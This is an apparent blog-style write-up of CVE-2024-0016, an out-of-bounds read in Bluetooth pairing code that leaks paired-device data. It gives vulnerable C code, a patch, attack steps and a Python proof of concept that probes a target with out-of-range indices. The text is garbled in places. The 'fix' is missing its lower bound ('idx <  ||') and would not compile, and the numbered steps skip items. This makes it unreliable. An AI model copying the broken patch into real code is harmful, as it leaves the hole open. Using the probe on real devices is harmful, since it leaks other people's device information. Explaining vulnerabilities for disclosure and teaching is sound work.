CVE-2024-0016 - Unveiling an Out-of-Bounds Read Vulnerability Exposing Paired Device Info

CVE-2024-0016 refers to a newly-disclosed vulnerability that affects several widely-used Bluetooth and device pairing codebases. The vulnerability is a classic out-of-bounds read: a section of code that fails to check the bounds of an array before accessing it. This means an attacker can read memory beyond the intended buffer, potentially leaking sensitive information about paired devices—like addresses, names, or even encryption details.

Importantly, exploitation requires no user interaction and no special privileges. In the right scenario, an attacker could passively extract paired device information simply by crafting network traffic or specially-crafted packets.

Where Is It Found and Why Does It Matter?

The bug lurks in multiple device stack implementations—specifically in the logic for storing and retrieving paired devices from memory. Imagine a Bluetooth stack keeping a list of paired devices; due to bad bounds-checking, a request for device info at an invalid slot could return memory from anywhere nearby.

Original References

- NVD Description for CVE-2024-0016
- Security Advisory (Example)
- Sample Patch Commit

The Code Bug — Simplified

Here’s a simplified code version highlighting the vulnerability. Imagine this code sits inside a typical Bluetooth or device pairing function:

// Vulnerable code snippet
struct PairedDeviceInfo paired_devices[MAX_DEVICES];

// Request for info about device at index 'idx' (received from network or API)
PairedDeviceInfo *get_paired_device(int idx) {
    // MISSING BOUNDS CHECK!
    return &paired_devices[idx];
}

If idx is outside ...MAX_DEVICES-1, this will return a pointer somewhere *past* the intended list. Reading from or sending back data from this pointer could disclose random memory—often containing sensitive info from other connected or recently paired devices.

The right fix

PairedDeviceInfo *get_paired_device(int idx) {
    if (idx <  || idx >= MAX_DEVICES) {
        return NULL; // Or handle error
    }
    return &paired_devices[idx];
}

Attacker knows the flaw exists in a popular device or system.

2. They send an API or network request (like a Bluetooth info query or CTAP command) referencing an out-of-bounds index.

Vulnerable code returns memory from just beyond the buffer.

4. The returned information contains bits of other paired device records. Sometimes, it might even expose partial credentials, device names, MAC addresses, or passkeys.

Real-Life Exploit Code Example

Here’s a Python *proof of concept* for a simulated vulnerable API over a socket (for educational purposes!):

import socket

def request_device_info(index):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect(('victim-device', 900))
        s.sendall(b'GET_DEV_INFO ' + str(index).encode())
        data = s.recv(1024)
        print(f'Received: {data}')

# Request out-of-bound index to trigger memory leak
for idx in range(100, 110):
    request_device_info(idx)

Assuming the target's API is vulnerable, you might see

Received: b'\x92\xfc\x11\xab\x44...'  # Garbage bytes from memory, potentially with secrets!

Update Now: Apply vendor patches as soon as available.

- Validate Input: If you maintain or audit device code, check *every* memory access for proper bounds checking.

Conclusion

CVE-2024-0016 is a sobering reminder that even simple missing bounds checks can lead to device privacy leaks. No user interaction is needed, and no extra permissions are required for an attacker. Stay updated, patch often—and always check your code’s boundaries!

Timeline

Published on: 02/16/2024 20:15:47 UTC
Last modified on: 10/31/2024 15:35:18 UTC